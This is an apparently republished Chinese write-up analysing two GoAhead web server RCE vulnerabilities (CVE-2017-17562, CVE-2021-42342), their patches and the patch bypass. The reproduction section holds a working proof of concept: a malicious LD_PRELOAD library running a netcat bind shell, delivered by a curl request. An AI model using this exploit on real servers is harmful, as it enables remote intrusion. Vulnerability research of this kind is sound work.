一、前言
1.1 下載地址
二、CVE-2017-17562
2.1 漏洞分析
cve-2017-17562遠程命令執行漏洞影響Goahead 2.5.0到Goahead 3.6.5之間的版本,在cgiHandler函式中,將用戶的HTTP請求引數作為環境變數,通過諸如LD_PRELOAD即可劫持行程的元件,實作遠程代碼執行,
2.2 代碼分析
漏洞成因位于cgiHandler函式中,代碼首先拼接出用戶請求的cgi完整路徑并賦予cgiPath,然后檢查此檔案是否存在以及是否為可執行檔案,隨后就是存在漏洞的關鍵代碼處,如下圖所示:
代碼將用戶請求的引數存入環境變數陣列envp中,但是不能為REMOTE_HOST和HTTP_AUTHORIZATION,從這里不難看出黑名單的過濾非常有限,這也為攻擊者提供了利用點, 如下圖所示代碼繼續往下執行,將webGetCgiCommName函式的回傳值保存在stdIn與stdOut中,此函式將回傳一個默認路徑位于/tmp檔案名格式cgi-*.tmp的絕對路徑字串, 隨后代碼將cgiPath、envp、stdIn與stdOut作為引數傳入launchCgi函式中,
PUBLIC char *websGetCgiCommName() { return websTempFile(NULL, "cgi"); } ? PUBLIC char *websTempFile(char *dir, char *prefix) { static int count = 0; char sep; ? sep = '/'; if (!dir || *dir == '\0') { #if WINCE dir = "/Temp"; sep = '\\'; #elif ME_WIN_LIKE dir = getenv("TEMP"); sep = '\\'; #elif VXWORKS dir = "."; #else dir = "/tmp"; #endif } if (!prefix) { prefix = "tmp"; } return sfmt("%s%c%s-%d.tmp", dir, sep, prefix, count++); }
進入launchCgi函式,根據注釋可知此函式為cgi啟動函式,代碼首先打開了兩個tmp檔案,隨后fork子行程并在子行程中將標準輸入與標準輸出重定向到兩個打開的檔案描述符上,最后呼叫execve函式在子行程中執行cgi程式,
至此漏洞相關代碼分析完畢,代碼在執行execve函式時將cgiHandler函式決議的envp陣列作為第三個引數傳入,攻擊者可以在請求引數時通過LD_PRELOAD環境變數配合代碼重定向后/proc/self/fd/0指向POST資料實作元件的劫持,
【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備注 “博客園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
2.3 漏洞復現
下載編譯并通過gdb運行存在漏洞的Goahead程式(3.6.4)
git clone https://github.com/embedthis/goahead.git cd goahead make cd test gcc ./cgitest.c -o cgi-bin/cgitest sudo gdb ../build/linux-x64-default/bin/goahead
撰寫惡意元件,代碼以及編譯命令如下所示:
#include <stdio.h> #include <stdlib.h> ? static void main(void) __attribute__((constructor)); ? static void main(void) { system("nc -lp 8888 -e /bin/sh"); } ? // gcc --shared -fPIC poc.c -o poc.so
構造HTTP請求發送
curl -vv -XPOST --data-binary @./poc.so localhost/cgi-bin/cgitest?LD_PRELOAD=/proc/self/fd/0
斷點下在execve函式處,此時記憶體情況如下圖所示,envp陣列中存在我們注入的惡意環境變數LD_PRELOAD并指向/proc/self/fd/0檔案,在代碼分析中我們了解到,launchCgi函式會在子行程中將標準輸入輸出重定向到cgi-*.tmp的檔案描述符,而根據以往的經驗POST資料會作為cgi的標準輸入,也就是說此時/proc/self/fd/0所指向的正是我們的惡意檔案poc.so,當execve函式執行時,即可劫持行程元件實作RCE,
2.4 補丁分析
首先是在cgiHandler函式中添加了更加完整的過濾檢測,使得LD_開頭的字串無法寫入envp陣列,
其次是增加了一層if判斷,當s-arg不為0時進行字串拼接,根據索引找到s-arg的賦值陳述句位于addFormVars函式中,此函式是Goahead處理content-type為application/x-www-form-urlencoded的HTTP請求時會呼叫,
三、cve-2021-42342
3.1 漏洞分析
cve-2021-42342遠程命令執行漏洞影響Goahead 4.X和部分Goahead 5.X版本,在分析cve-2017-17562的補丁時我們了解到新版的程式對黑名單的完整性上做了優化,然而在4.X版本中增加了一句strim函式對用戶引數的處理,如下圖所示:
進入這個函式,當第二個引數為0時return 0,因為開發人員對于strim函式使用規范的錯誤使得針對cve-2017-17562的黑名單完善形同虛設,
上文在對cve-2017-17562補丁進行分析時曾經提到,s-arg在addFormVars函式中賦值為1,為了實作環境變數注入則必須使s-arg為0,繞過的方式也很簡單令header中content-type為multipart/form-data即可,
后續利用方式與cve-2017-17562相同,筆者就不做重復分析了,
3.2 代碼分析
為了更好的了解漏洞的完整執行流程,這里筆者針對Goahead處理Http的機制進行深入分析,其中不對的地方歡迎師傅們指正,? 在Goahead進行啟動后會執行websServer函式進行初始化操作,其中websOpen函式對route.txt檔案進行決議,關于route處理可以看一下layty師傅的文章,
websOpen函式會根據配置啟動相應的代碼模塊
其中關于cgi請求的回呼函式通過websDefineHandler函式定義,
websOpen函式執行完畢后回傳websServer函式并呼叫websListen啟動HTTP服務,代碼如下所示,當接收到HTTP請求時呼叫回呼函式websAccept函式進行處理,
在websAccept函式中呼叫websAlloc函式為請求分配記憶體地址,添加入webs串列中,
?
其中websAlloc函式呼叫initWebs函式對Webs結構體進行初始化,
此時Goahead完成了對Http請求的初始化操作,而針對Http請求的處理作業則是通過執行websAccept->socketEvent->readEvent完成回應的
呼叫websRead函式將資料寫入到wp->rxbuf緩沖區中,隨后執行websPump函式,如下圖所示,在Goahead中將HTTP的處理流程分為了五個狀態,每個狀態由不同的函式進行配置和處理作業,
3.2.1 WEBS_BEGIN
WEBS_BEGIN階段由parseIncoming函式負責處理,代碼如下圖所示,其中我們需要重點關注呼叫的三個函式parseFirstLine、parseHeaders、websRouteRequest函式,? parseFirstLine函式負責將請求的型別、url、協議版本和請求引數保存在wp結構體中
parseHeaders函式負責對請求頭進行決議,其中對請求頭中content-type鍵處理流程如下圖所示,為了滿足漏洞的觸發條件s->arg為0,所以我們需要繞過addFormVars函式,即請求頭content-type為multipart/form-data,
函式用于確定HTTP請求的處理函式,通過url路徑與route->prefix進行比較確定最終處理函式,并將結果保存在wp->route中,其中routes陣列保存了route.txt檔案決議后,所有處理函式的相關資料,
呼叫websGetCgiCommName函式創建檔案名格式為cgi-*.tmp的臨時檔案用于保存POST資料,
3.2.2 WEBS_CONTENT
回傳websPump函式,隨后呼叫processContent函式,函式部分代碼如下所示,其中filterChunkData函式檢測資料是否全部處理完畢,websProcessUploadData函式為處理上傳檔案的函式,
進入函式后可以看到上傳操作被分為五個狀態,每種狀態由專門的函式負責處理,如下圖所示,? initUpload函式切換wp->uploadState狀態為initUpload,初始化上傳路徑并確定上傳請求邊界符,? processContentBoundary函式判斷資料是否已經處理完畢,若是則將狀態切換為UPLOAD_CONTENT_END,若還有資料未處理完成則切換狀態為UPLOAD_CONTENT_HEADER,? processUploadHeader函式通過呼叫websTempFile函式創建用于暫存上傳資料的臨時檔案,檔案名格式/tmp/tmp-*.tmp,將臨時檔案的檔案描述符保存在wp->upfd中,? processContentData函式呼叫writeToFile函式將上傳的資料保存在臨時檔案中,并修改上傳狀態為UPLOAD_BOUNDARY判斷資料是否上傳完畢,
當全部資料處理完畢后wp->eof置1,wp->state狀態更改為WEBS_READY,? 回傳processContent函式后繼續執行,呼叫websProcessCgiData函式將POST資料保存在臨時檔案cgi-*.tmp中
3.2.3 WEBS_READY
程式流程回傳websPump函式后,在WEBS_READY階段呼叫websRunRequest函式,此函式主要負責切換wp->state為WEBS_RUNNING,并呼叫cgiHandler函式,
在代碼執行到漏洞位置時,s->arg值為零完成繞過,后續的利用原理與cve-2017-17562類似,這里就不過多贅述,
更多靶場實驗練習、網安學習資料,請點擊這里>>
搜索
復制
合天智匯:合天網路靶場、網安實戰虛擬環境轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/502838.html
標籤:其他
下一篇:NOI2022游記,Au
